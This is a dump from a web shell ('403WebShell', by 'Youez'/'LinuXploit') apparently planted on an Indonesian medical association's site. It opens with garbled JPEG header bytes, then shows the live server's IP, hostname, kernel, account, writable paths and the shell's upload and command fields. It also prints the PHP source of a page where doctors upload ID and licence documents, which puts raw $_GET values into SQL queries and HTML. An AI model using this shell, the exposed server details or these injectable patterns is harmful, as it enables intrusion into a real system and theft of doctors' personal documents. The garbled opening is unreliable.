JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 91.108.119.85  /  Your IP : 216.73.217.31
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u686484674/domains/idikotabandung.com/public_html/IDI/anggota/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u686484674/domains/idikotabandung.com/public_html/IDI/anggota/data_uplp2kb.php
<?php include "header2.php"; ?>





<!DOCTYPE html>

<html>

<head>

	

<meta name="viewport" content="width=device-width, initial-scale=1.0">	

  <title>Upload dan Download File</title>

 

  

  <!--Script CSS-->

  <link type="text/css" href='https://cdn.datatables.net/1.10.16/css/jquery.dataTables.min.css' rel='stylesheet'>

  <link type="text/css" href='https://cdn.datatables.net/responsive/2.2.1/css/responsive.dataTables.min.css' rel='stylesheet'>

  <link type="text/css" href='https://cdn.datatables.net/buttons/1.5.1/css/buttons.dataTables.min.css' rel='stylesheet'>

  <link href="style.css" rel="stylesheet">

<style>

		body {

			font-family: "Lucida Sans Unicode", "Lucida Grande", "Segoe Ui";

			font-size: 12px;

		}



.rapih{

padding-top=0;

margin-top=0;



    margin-top: 10px;

	max-width:500px;

	background: ;

    height: auto;

	overflow: hidden;

	padding: 10px;

	margin-left: 50px;

	text-align: left;

}

.rapih2{

padding-top=0;

margin-top=0;



    margin-top: 10px;

	max-width:1000px;

	background: ;

    height: auto;

	overflow: hidden;

	padding: 10px;

	margin-left: 50px;

	text-align: left;

}

	

	img {

    width: 100%;

    height: auto;

}	

	

.video-container { position: relative; padding-bottom: 56.25%; padding-top: 30px; height: 0; overflow: hidden; } .video-container iframe, .video-container object, .video-container embed { position: absolute; top: 0; left: 0; width: 100%; height: 100%; }		

	

img {

    width: 100%;

    height: auto;

}	

		@media only screen and (max-width: 580px) {

	.rapih{

		margin-left: 3%;

		width: 100%;

		font-size: 14px;

		text-align: left;

		

	}

	.rapih2{

		margin-left: 3%;

		width: 100%;

		font-size: 14px;

		text-align: left;

		

	}

			





			img {

    width: 100%;

    height: auto;

}

	}

</style>  

  

  

</head>

<body>





<!-- Page Wrapper -->

  <div id="wrapper">

  	<?php //include "sidebar.php"; ?>

    

    <!-- Content Wrapper -->

    <div id="content-wrapper" class="d-flex flex-column">



      <!-- Main Content -->

      <div id="content">

      

      <?php //include "topbar.php";?>

 

      	<!-- Begin Page Content -->

        <div class="container-fluid">

          <!-- DataTales Example -->

          <div class="card shadow mb-4">

            <div class="card-header py-3">

              <h6 class="m-0 font-weight-bold text-primary">List Post</h6>

            </div>

            <div class="card-body">

              <div class="table-responsive">

				  

	  <center><h4><strong>Upload Documen</strong></h4>

	  </center> 





<div class="rapih">	



	      <?php $npm=$_GET['npm'];  ?> 

	

	

	

	<?php

    //menampilkan data Pra registrasi

      $npm=$_GET['npm'];

	 $noreg=$_GET['noreg'];

	

      $sql=mysqli_query($konek,"SELECT * FROM peserta where npm='$npm' AND noreg='$noreg' order by id  desc limit 1 ");

      $data=mysqli_fetch_array($sql);

      //data hobi dari tabel siswa 

     // $datahobi=explode(',', $data['dokumen']);

		   $rs = isset($data['rs']) ? $data['rs'] : null;

			$klinik = isset($data['klinik']) ? $data['klinik'] : null;

		    $puskesmas = isset($data['puskesmas']) ? $data['puskesmas'] : null;

			$pribadi = isset($data['pribadi']) ? $data['pribadi'] : null;

			$kota = isset($data['kota']) ? $data['kota'] : null;

			$npm = $data['npm'] ;

			$perihal = $data['perihal'];

			$anggota = $data['anggota'];

			$ahli = $data['ahli'];

			$status = $data['status'];	

	        $noreg=$data['noreg'];	

	        $instansi= $data['instansi'];	

	

    ?>

	

	

	

		

		

		<input type="radio" name="perihal" value="p2kb"<?php if($perihal=='p2kb') echo 'checked'?> disabled> Pengajuan Permohonan STR Dokter Umum<br> 	



	  <br>	



		

		

	<hr>

  <br /><br />  

   <h4 align="left">STEP 3 UPLOAD PERSYARATAN DOKUMEN </h4>



  

<center>

<div align="left">File yg harus diupload untuk persyaratan <strong>Permohonan STR Dokter Umum</strong></div>

<p align="left">

<br>

<p align="left">INFORMASI :<br>

	- Ukuran File Maximal: 3 MB.<br> 

	- Dokument Softcopy dalam bentuk gambar jpg, jpeg, png atau pdf. <br>  

	- Penamaan dokumen sesuai Judul syarat dokumen yg di upload Contoh: ktp.jpg.<br>  

	

	

	

	

    <?php $npm=$_GET['npm'];  ?>       

	

<div align="container">

	  <br>				  



				  

	

	<?php

       if  ( $perihal =='p2kb'){}

	?>	  		  



</div></div>

   

			

	

			

	



		





 <br/>



 	<table class="demo-table responsive" >

		<caption class="title">Tabel Data Upload:</caption>

		<thead>

			<tr>

				<th >No</th>

				<th >Jenis Berkas (Upload)</th>

				<th  width="300">Keterangan</th>

				<th >Batal/Hapus</th>

		

			</tr>

		</thead>

		<tbody>

      



	  

	  

	 <tr>

				<td data-header="No" class="title">1</td>

		 

				<td data-header="Jenis Berkas" >  <form name="form" enctype="multipart/form-data" action="upload_regp2kb.php" method="POST">

	

		<input type="checkbox" name="nm_surat" value="27" checked > 1. Screen Shoot Dashboard total SKP IDIONLINE.   <br><br>	

						

    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />

    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />

			<input name="chek" type = "hidden" readonly class="form-control"  value="2"  />

	<input name="nourut" type = "hidden" readonly class="form-control"  value="1"  />				

					

    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />

    <br>

			 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>

		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />

    <br>

			<?php

      

        $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='1'  order by nourut ") or die(mysqli_error());



	 

		$fetch1 = $row->fetch_array();

		      

		$nourut1= isset($fetch1['nourut']) ? $fetch1['nourut'] : null;  

 

      ?>			



			<?php

       if  ( $nourut1 =='1'){

	?>		

		

					<a class='btn btn-warning btn-sm' href='#' >Upload Sukses</a>

					

	<?php

       }else{

	?>				

					

		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



	<?php

       }

	?>		

    </form>

    <br/>     					

				

</td>

				

					

					



					

					

	  <td>

		  				 <?php

      //require 'config.php';

      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='1'  order by nourut ") or die(mysqli_error());

       $no = 1;

	   $total2=0;

	 while($fetch = $row->fetch_array()){

		  

		$potong_kalimat = substr($fetch['file'],-4);

       

		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  

		  $nourut= $fetch['nourut'];  

	   $pdf=$fetch['file'];

       ?>

       

        <?php 

        $name = explode('/', $fetch['file']);

        ?>	

		 <?php 

		  if ($nourut=='1'){

		  

		  ?>

		  

		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	

		

			 <?php 

			if ($potong_kalimat==".pdf"){

			?>	

			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="400" height="400"></embed></div>	

			 <?php	

			}else{

			?>	

			

		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>

			 <?php	

			}

			?>



						 <br>  

						  <br>  

						 Berhasil di Upload</td>



					   <?php	



						  }

						?>	





	  

	  <td>

		   <a class='btn btn-danger btn-sm' href='del_uplp2kb.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=2'>Batal/Hapus</a></td>

	 <?php 

		 }

		  ?>		

			</tr>

			

			

			<tr>

				<td data-header="No" class="title">2</td>

				<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_regp2kb.php" method="POST">

	

		<input type="checkbox" name="nm_surat" value="12" checked > 2. Softcopy (berwarna/asli) KTP <br><br>	

		

    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />

    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    

					<input name="chek" type = "hidden" readonly class="form-control"  value="2"  />

					<input name="nourut" type = "hidden" readonly class="form-control"  value="2"  />

    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />

    <br>

		

    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>

		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />

    <br>

				<?php

      

        $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='2'  order by nourut ") or die(mysqli_error());



	 

		$fetch1 = $row->fetch_array();

		      

		$nourut1= isset($fetch1['nourut']) ? $fetch1['nourut'] : null;  

 

      ?>			



			<?php

       if  ( $nourut1 =='2'){

	?>		

		

					<a class='btn btn-warning btn-sm' href='#' >Upload Sukses</a>

					

	<?php

       }else{

	?>				

					

		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



	<?php

       }

	?>		

    </form>

    <br/>                                                                                                                                  </td>

				 <td>

					 

			 <?php

      //require 'config.php';

      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='2'  order by nourut ") or die(mysqli_error());

       $no = 1;

	   $total2=0;

	    while($fetch = $row->fetch_array()){

		  

		$potong_kalimat = substr($fetch['file'],-4);

       

		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  

		  $nourut2= $fetch['nourut'];  

	   $pdf=$fetch['file'];

       ?>

      

        <?php 

        $name = explode('/', $fetch['file']);

        ?>			 

					 

					 

					 

					 

					 

		 <?php 

		  if ($nourut2=='2'){

		  

		  ?>

		  

		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	

		

			 <?php 

			if ($potong_kalimat==".pdf"){

			?>	

			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="400" height="400"></embed></div>	

			 <?php	

			}else{

			?>	

			

		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>

			 <?php	

			}

			?>



						 <br>  

						  <br>  

						 Berhasil di Upload</td>

		 <?php	



						  }

						?>	





	  

	  <td>

		   <a class='btn btn-danger btn-sm' href='del_uplp2kb.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=2'>Batal/Hapus</a></td>

	 <?php 

		 }

		  ?>		

			</tr>

			<tr>

				<td data-header="No" class="title">3</td>

				<td data-header="Jenis Berkas" >

					    <form name="form" enctype="multipart/form-data" action="upload_regp2kb.php" method="POST">

	

		<input type="checkbox" name="nm_surat" value="28" checked > 3. Softcopy (berwarna/sesuai asli) Surat keterangan Sehat untuk dapat melaksanakan Praktik.  <br><br>	

					

    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />

    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />

			<input name="chek" type = "hidden" readonly class="form-control"  value="2"  />

							<input name="nourut" type = "hidden" readonly class="form-control"  value="3"  />

    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />

    <br>	

			

		 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>

		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />

    <br>

				<?php

      

        $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='3'  order by nourut ") or die(mysqli_error());



	 

		$fetch1 = $row->fetch_array();

		      

		$nourut1= isset($fetch1['nourut']) ? $fetch1['nourut'] : null;  

 

      ?>			



			<?php

       if  ( $nourut1 =='3'){

	?>		

		

					<a class='btn btn-warning btn-sm' href='#' >Upload Sukses</a>

					

	<?php

       }else{

	?>				

					

		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



	<?php

       }

	?>		

    </form>

    <br/>  

				

				</td>

				<td data-header="Keterangan" >

				

				

					 

			 <?php

      //require 'config.php';

      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='3' order by nourut ") or die(mysqli_error());

       $no = 1;

	   $total2=0;

	    while($fetch = $row->fetch_array()){

		  

		$potong_kalimat = substr($fetch['file'],-4);

       

		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  

		  $nourut3= $fetch['nourut'];  

	   $pdf=$fetch['file'];

       ?>

      

        <?php 

        $name = explode('/', $fetch['file']);

        ?>			 

					 

					 

					 

					 

					 

		 <?php 

		  if ($nourut3=='3'){

		  

		  ?>

		  

		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	

		

			 <?php 

			if ($potong_kalimat==".pdf"){

			?>	

			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="400" height="400"></embed></div>	

			 <?php	

			}else{

			?>	

			

		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>

			 <?php	

			}

			?>



						 <br>  

						  <br>  

						 Berhasil di Upload</td>

 <?php	



						  }

						?>	





	  

	  <td>

		   <a class='btn btn-danger btn-sm' href='del_uplp2kb.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=2'>Batal/Hapus</a></td>

	 <?php 

		 }

		  ?>		

			</tr>

	

		<tr>

				<td data-header="No" class="title">4</td>

				<td data-header="Jenis Berkas" >

					    <form name="form" enctype="multipart/form-data" action="upload_regp2kb.php" method="POST">

	

		<input type="checkbox" name="nm_surat" value="29" checked > 4. Softcopy (berwarna/sesuai asli) Surat Izin Praktik (SIP).   <br><br>	

					

    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />

    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />

	<input name="chek" type = "hidden" readonly class="form-control"  value="2"  />

	<input name="nourut" type = "hidden" readonly class="form-control"  value="4"  />

    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />

    <br>	

			

		 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>

		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />

    <br>

				<?php

      

        $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='4'  order by nourut ") or die(mysqli_error());



	 

		$fetch1 = $row->fetch_array();

		      

		$nourut1= isset($fetch1['nourut']) ? $fetch1['nourut'] : null;  

 

      ?>			



			<?php

       if  ( $nourut1 =='4'){

	?>		

		

					<a class='btn btn-warning btn-sm' href='#' >Upload Sukses</a>

					

	<?php

       }else{

	?>				

					

		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



	<?php

       }

	?>		

    </form>

    <br/>  

				

				</td>

				<td data-header="Keterangan" >

				

				

					 

			 <?php

      //require 'config.php';

      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='4' order by nourut ") or die(mysqli_error());

       $no = 1;

	   $total2=0;

	    while($fetch = $row->fetch_array()){

		  

		$potong_kalimat = substr($fetch['file'],-4);

       

		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  

		  $nourut3= $fetch['nourut'];  

	   $pdf=$fetch['file'];

       ?>

      

        <?php 

        $name = explode('/', $fetch['file']);

        ?>			 

					 

					 

					 

					 

					 

		 <?php 

		  if ($nourut3=='4'){

		  

		  ?>

		  

		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	

		

			 <?php 

			if ($potong_kalimat==".pdf"){

			?>	

			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="400" height="400"></embed></div>	

			 <?php	

			}else{

			?>	

			

		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>

			 <?php	

			}

			?>



						 <br>  

						  <br>  

						 Berhasil di Upload</td>

 <?php	



						  }

						?>	





	  

	  <td>

		   <a class='btn btn-danger btn-sm' href='del_uplp2kb.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>

	 <?php 

		 }

		  ?>		

			</tr>

		  

	

			  

			<tr>

				<td data-header="No" class="title">5</td>

				<td data-header="Jenis Berkas" >

					    <form name="form" enctype="multipart/form-data" action="upload_regp2kb.php" method="POST">

	

		<input type="checkbox" name="nm_surat" value="30" checked > 5. Softcopy (berwarna/sesuai asli) STR.  <br><br>	

					

    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />

    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />

			<input name="chek" type = "hidden" readonly class="form-control"  value="2"  />

							<input name="nourut" type = "hidden" readonly class="form-control"  value="5"  />

    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />

    <br>	

			

		 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>

		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />

    <br>

				<?php

      

        $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='5'  order by nourut ") or die(mysqli_error());



	 

		$fetch1 = $row->fetch_array();

		      

		$nourut1= isset($fetch1['nourut']) ? $fetch1['nourut'] : null;  

 

      ?>			



			<?php

       if  ( $nourut1 =='5'){

	?>		

		

					<a class='btn btn-warning btn-sm' href='#' >Upload Sukses</a>

					

	<?php

       }else{

	?>				

					

		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



	<?php

       }

	?>		

    </form>

    <br/>  

				

				</td>

				<td data-header="Keterangan" >

				

				

					 

			 <?php

      //require 'config.php';

      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='5' order by nourut ") or die(mysqli_error());

       $no = 1;

	   $total2=0;

	    while($fetch = $row->fetch_array()){

		  

		$potong_kalimat = substr($fetch['file'],-4);

       

		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  

		  $nourut3= $fetch['nourut'];  

	   $pdf=$fetch['file'];

       ?>

      

        <?php 

        $name = explode('/', $fetch['file']);

        ?>			 

					 

					 

					 

					 

					 

		 <?php 

		  if ($nourut3=='5'){

		  

		  ?>

		  

		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	

		

			 <?php 

			if ($potong_kalimat==".pdf"){

			?>	

			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="400" height="400"></embed></div>	

			 <?php	

			}else{

			?>	

			

		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>

			 <?php	

			}

			?>



						 <br>  

						  <br>  

						 Berhasil di Upload</td>

 <?php	



						  }

						?>	





	  

	  <td>

		   <a class='btn btn-danger btn-sm' href='del_uplp2kb.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>

	 <?php 

		 }

		  ?>		

			</tr>

				

			<tr>

				<td data-header="No" class="title">6</td>

				<td data-header="Jenis Berkas" >

					    <form name="form" enctype="multipart/form-data" action="upload_regp2kb.php" method="POST">

	

		<input type="checkbox" name="nm_surat" value="31" checked > 6. Softcopy (berwarna/sesuai asli) ijazah Profesi.  <br><br>	

					

    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />

    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />

			<input name="chek" type = "hidden" readonly class="form-control"  value="2"  />

							<input name="nourut" type = "hidden" readonly class="form-control"  value="6"  />

    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />

    <br>	

			

		 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>

		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />

    <br>

				<?php

      

        $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='6'  order by nourut ") or die(mysqli_error());



	 

		$fetch1 = $row->fetch_array();

		      

		$nourut1= isset($fetch1['nourut']) ? $fetch1['nourut'] : null;  

 

      ?>			



			<?php

       if  ( $nourut1 =='6'){

	?>		

		

					<a class='btn btn-warning btn-sm' href='#' >Upload Sukses</a>

					

	<?php

       }else{

	?>				

					

		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



	<?php

       }

	?>		

    </form>

    <br/>  

				

				</td>

				<td data-header="Keterangan" >

				

				

					 

			 <?php

      //require 'config.php';

      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='6' order by nourut ") or die(mysqli_error());

       $no = 1;

	   $total2=0;

	    while($fetch = $row->fetch_array()){

		  

		$potong_kalimat = substr($fetch['file'],-4);

       

		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  

		  $nourut3= $fetch['nourut'];  

	   $pdf=$fetch['file'];

       ?>

      

        <?php 

        $name = explode('/', $fetch['file']);

        ?>			 

					 

					 

					 

					 

					 

		 <?php 

		  if ($nourut3=='6'){

		  

		  ?>

		  

		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	

		

			 <?php 

			if ($potong_kalimat==".pdf"){

			?>	

			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="400" height="400"></embed></div>	

			 <?php	

			}else{

			?>	

			

		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>

			 <?php	

			}

			?>



						 <br>  

						  <br>  

						 Berhasil di Upload</td>

 <?php	



						  }

						?>	





	  

	  <td>

		   <a class='btn btn-danger btn-sm' href='del_uplp2kb.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>

	 <?php 

		 }

		  ?>		

			</tr>		

		</tbody>

	</table> 

	  

<br><br><br>

	  

<div class="">			



<?php

	 $noreg=$_GET['noreg'];

	 $hari = date('Y-m-d');

	$sqlSiswa = mysqli_query($konek, "SELECT count(noreg) as jumlah FROM file WHERE file.npm='$_GET[npm]' AND file.noreg='$_GET[noreg]'");

	$ds=mysqli_fetch_array($sqlSiswa);

	$jumlah= $ds['jumlah'];

		

		

	$hobi = explode(",", $data['dokumen']);

        //  $query=mysql_query("INSERT INTO siswa(nama, hobi) VALUES('$nama','$hobi')"); 



$jumlahup = count($hobi);

// echo   $jumlahup;		

		

    ?>

	<h4 align="center">Tabel Data Dokumen yg Sudah di Upload</h4></center>

		<br>

	<?php if ( $jumlah<$jumlahup){

	

							echo "

							<div class='alert alert-warning'>

								<span class='glyphicon glyphicon-info-sign'></span> Dokumen telah di upload : <span style='color:red'> $jumlah</span> Masih kurang ddari $jumlahup Dokumen !!

								<span class='pull-right'> <span style='color:red'>Upload sisa Dokumen </span><i class='fa fa-angle-double-right'></i></span>

							</div>";	

							}

					?>



   

  <table  class="demo-table responsive" >

    <thead>

      <tr>  

         <th>No</th>

		 <th width="200">Surat</th>

         <th width="350">Dokumen</th>

		 <th>Validasi1</th>

		 <th>Notif dari Admin</th>

         <th>Delete</th>

      </tr>

    </thead>

    <tbody class="alert-success">

      <?php

      //require 'config.php';

      $row = $konek->query("SELECT *,count( file_id) as jumlah  FROM file WHERE noreg='$_GET[noreg]' and nourut='' group by file_id ") or die(mysqli_error());

       $no = 1;

	   $total2=0;

	  while($fetch = $row->fetch_array()){

		  

		$potong_kalimat = substr($fetch['file'],-4);

       

		  

		  

	   $pdf=$fetch['file'];

       ?>

       <tr>

        <?php 

        $name = explode('/', $fetch['file']);

        ?>

        <td><?php echo $no ?></td>

		<td><?php echo $fetch['nmsurat']?></td>

        <td><a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	

		

			 <?php 

			if ($potong_kalimat==".pdf"){

			?>	

			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	

			 <?php	

			}else{

			?>	

			

			  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/>

			 <?php	

			}

			?>



						 <br>  

						  <br>  

						 Untuk Perbesar gambar Click: <?php echo $fetch['nmfile']; ?> </td>

  		

		   <td><span class='merah'><?php echo $fetch['status']?></span></td>



		   <td><?php echo $fetch['note1']?></td>

	

   		   <td>

		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=2'>Batal/Hapus</a></td>

		   

    





      </tr>

      <?php

	   $no++;

	   

	   //  $jumlah= $fetch['jumlah'];

	    

	  //   $total2 += $fetch['jumlah'];  

    }

	

    //		  $selisih =  $jumlahup-$total2 ;

		  ?>

	

	

										



	  </tr>

  </tbody>

</table>

		</td></tr>

 <br/>

		

		

</br>

</div>

</div>





		

</br>

</div>

</div>



<?php



 $data = mysqli_query($konek, "SELECT * FROM h_anggota WHERE npm='$_GET[npm]' " );

			      $d=mysqli_fetch_array($data);

	

	$pengurus=$d['pengurus'];

				  







				if ($perihal=='mutasi'||$perihal=='kehilangan'||$pengurus=='1'){

?>

	 <div align="center"><a class='btn btn-warning btn-sm' href='status.php?npm=<?php echo $_GET['npm']; ?>&noreg=<?php echo $noreg ?>'>Selesai cek Status</a>

	  

 <?php

 }else{

	 ?>

	 

	   <div align="center"><a class='btn btn-warning btn-sm' href='statusp2kb.php?npm=<?php echo $_GET['npm']; ?>&noreg=<?php echo $noreg ?>'><h4>Click Kembali ke Progress Status</h4></a>

	<?php				 

 }



 ?>



		 </div>

		 

	

	



							

     <p>&nbsp;</p>  <p>&nbsp;</p>    <p>&nbsp;</p>  



								

								

                              <!--Script Javascript-->

                                <script src="https://code.jquery.com/jquery-1.12.4.js"></script>

                                <script src="https://cdn.datatables.net/1.10.16/js/jquery.dataTables.min.js"></script>

                                <script src="https://cdn.datatables.net/responsive/2.2.1/js/dataTables.responsive.min.js"></script>

                                <script src="https://cdn.datatables.net/buttons/1.5.1/js/dataTables.buttons.min.js"></script>

                                <script src="https://cdn.datatables.net/buttons/1.5.1/js/buttons.colVis.min.js"></script>

                                <script>

 $(document).ready(function() {

  $('#example').DataTable( {

    dom: 'Bfrtip',

    buttons: [

    'colvis'

    ]

  } );

} );

                              </script>

                            </div>

</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit